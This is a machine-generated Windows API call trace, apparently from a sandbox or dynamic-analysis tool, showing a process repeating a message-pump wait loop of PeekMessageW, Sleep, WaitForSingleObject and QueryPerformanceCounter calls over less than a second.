[0126.569] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.569] Sleep (dwMilliseconds=0x64) [0126.584] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696145683) returned 1 [0126.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696145839) returned 1 [0126.585] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.585] Sleep (dwMilliseconds=0x64) [0126.599] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696198532) returned 1 [0126.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696198729) returned 1 [0126.600] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.601] Sleep (dwMilliseconds=0x64) [0126.616] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.616] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696254143) returned 1 [0126.616] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696254325) returned 1 [0126.616] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.617] Sleep (dwMilliseconds=0x64) [0126.631] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.632] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696307857) returned 1 [0126.632] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696308042) returned 1 [0126.632] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.633] Sleep (dwMilliseconds=0x64) [0126.646] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.646] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696358420) returned 1 [0126.646] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696358617) returned 1 [0126.647] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.647] Sleep (dwMilliseconds=0x64) [0126.662] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696411824) returned 1 [0126.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696412021) returned 1 [0126.663] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.663] Sleep (dwMilliseconds=0x64) [0126.678] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.678] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696467263) returned 1 [0126.678] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696467467) returned 1 [0126.679] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.679] Sleep (dwMilliseconds=0x64) [0126.693] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696518458) returned 1 [0126.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696518647) returned 1 [0126.694] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.694] Sleep (dwMilliseconds=0x64) [0126.709] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696571613) returned 1 [0126.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696571803) returned 1 [0126.709] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.710] Sleep (dwMilliseconds=0x64) [0126.725] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696626987) returned 1 [0126.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696627173) returned 1 [0126.725] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.726] Sleep (dwMilliseconds=0x64) [0126.740] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696678652) returned 1 [0126.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696678838) returned 1 [0126.741] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.741] Sleep (dwMilliseconds=0x64) [0126.755] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696731633) returned 1 [0126.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696731831) returned 1 [0126.756] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.757] Sleep (dwMilliseconds=0x64) [0126.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696784996) returned 1 [0126.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696785279) returned 1 [0126.772] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.772] Sleep (dwMilliseconds=0x64) [0126.787] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696840299) returned 1 [0126.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696840482) returned 1 [0126.788] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.788] Sleep (dwMilliseconds=0x64) [0126.802] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696891953) returned 1 [0126.802] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696892134) returned 1 [0126.803] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.804] Sleep (dwMilliseconds=0x64) [0126.818] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.818] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696944944) returned 1 [0126.818] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696945131) returned 1 [0126.818] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.819] Sleep (dwMilliseconds=0x64) [0126.834] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.834] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697000151) returned 1 [0126.834] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697000332) returned 1 [0126.835] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.835] Sleep (dwMilliseconds=0x64) [0126.849] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697051663) returned 1 [0126.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697051861) returned 1 [0126.850] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.850] Sleep (dwMilliseconds=0x64) [0126.865] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.865] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697105189) returned 1 [0126.865] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697105401) returned 1 [0126.865] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.866] Sleep (dwMilliseconds=0x64) [0126.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697158221) returned 1 [0126.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697158422) returned 1 [0126.881] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.881] Sleep (dwMilliseconds=0x64) [0126.896] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.896] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697211497) returned 1 [0126.896] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697211696) returned 1 [0126.897] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.897] Sleep (dwMilliseconds=0x64) [0126.911] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697264830) returned 1 [0126.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697265027) returned 1 [0126.912] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.913] Sleep (dwMilliseconds=0x64) [0126.930] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697328046) returned 1 [0126.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697328231) returned 1 [0126.931] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.931] Sleep (dwMilliseconds=0x64) [0126.944] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697376586) returned 1 [0126.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697376757) returned 1 [0126.945] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.945] Sleep (dwMilliseconds=0x64) [0126.958] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697424836) returned 1 [0126.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697425021) returned 1 [0126.959] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.959] Sleep (dwMilliseconds=0x64) [0126.974] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697478060) returned 1 [0126.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697478242) returned 1 [0126.974] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.975] Sleep (dwMilliseconds=0x64) [0126.990] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697532263) returned 1 [0126.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697532448) returned 1 [0126.990] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.991] Sleep (dwMilliseconds=0x64) [0127.005] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.005] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697585987) returned 1 [0127.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697586185) returned 1 [0127.006] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.007] Sleep (dwMilliseconds=0x64) [0127.021] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.021] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697638123) returned 1 [0127.021] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697638321) returned 1 [0127.021] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.022] Sleep (dwMilliseconds=0x64) [0127.036] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.036] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697691409) returned 1 [0127.036] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697691607) returned 1 [0127.037] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.037] Sleep (dwMilliseconds=0x64) [0127.053] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697749051) returned 1 [0127.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697749254) returned 1 [0127.054] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.054] Sleep (dwMilliseconds=0x64) [0127.067] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697798143) returned 1 [0127.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697798341) returned 1 [0127.068] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.069] Sleep (dwMilliseconds=0x64) [0127.083] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.083] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697852469) returned 1 [0127.083] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697852667) returned 1 [0127.084] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.085] Sleep (dwMilliseconds=0x64) [0127.099] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697904577) returned 1 [0127.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697904764) returned 1 [0127.099] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.100] Sleep (dwMilliseconds=0x64) [0127.114] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.115] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=697958742) returned 1 [0127.115] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=697958927) returned 1 [0127.115] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.116] Sleep (dwMilliseconds=0x64) [0127.130] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698011187) returned 1 [0127.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698011354) returned 1 [0127.130] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.131] Sleep (dwMilliseconds=0x64) [0127.155] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698098139) returned 1 [0127.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698098339) returned 1 [0127.156] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.157] Sleep (dwMilliseconds=0x64) [0127.161] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698117903) returned 1 [0127.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698118135) returned 1 [0127.162] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.162] Sleep (dwMilliseconds=0x64) [0127.177] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.177] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698171631) returned 1 [0127.177] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698171829) returned 1 [0127.177] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.178] Sleep (dwMilliseconds=0x64) [0127.192] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698224639) returned 1 [0127.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698224835) returned 1 [0127.193] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.193] Sleep (dwMilliseconds=0x64) [0127.208] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698277920) returned 1 [0127.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698278119) returned 1 [0127.209] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.209] Sleep (dwMilliseconds=0x64) [0127.227] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698343893) returned 1 [0127.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698344093) returned 1 [0127.228] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.228] Sleep (dwMilliseconds=0x64) [0127.239] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.239] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698384765) returned 1 [0127.239] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698385009) returned 1 [0127.240] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.240] Sleep (dwMilliseconds=0x64) [0127.255] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698439921) returned 1 [0127.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698440089) returned 1 [0127.256] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.256] Sleep (dwMilliseconds=0x64) [0127.273] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698501714) returned 1 [0127.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698501884) returned 1 [0127.274] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.274] Sleep (dwMilliseconds=0x64) [0127.286] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698544381) returned 1 [0127.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698544549) returned 1 [0127.286] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.287] Sleep (dwMilliseconds=0x64) [0127.301] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698598069) returned 1 [0127.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698598236) returned 1 [0127.302] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.303] Sleep (dwMilliseconds=0x64) [0127.320] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698662635) returned 1 [0127.321] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698662822) returned 1 [0127.321] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.322] Sleep (dwMilliseconds=0x64) [0127.333] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.333] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698704372) returned 1 [0127.333] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698704541) returned 1 [0127.333] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.334] Sleep (dwMilliseconds=0x64) [0127.349] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.349] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698758729) returned 1 [0127.349] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698758898) returned 1 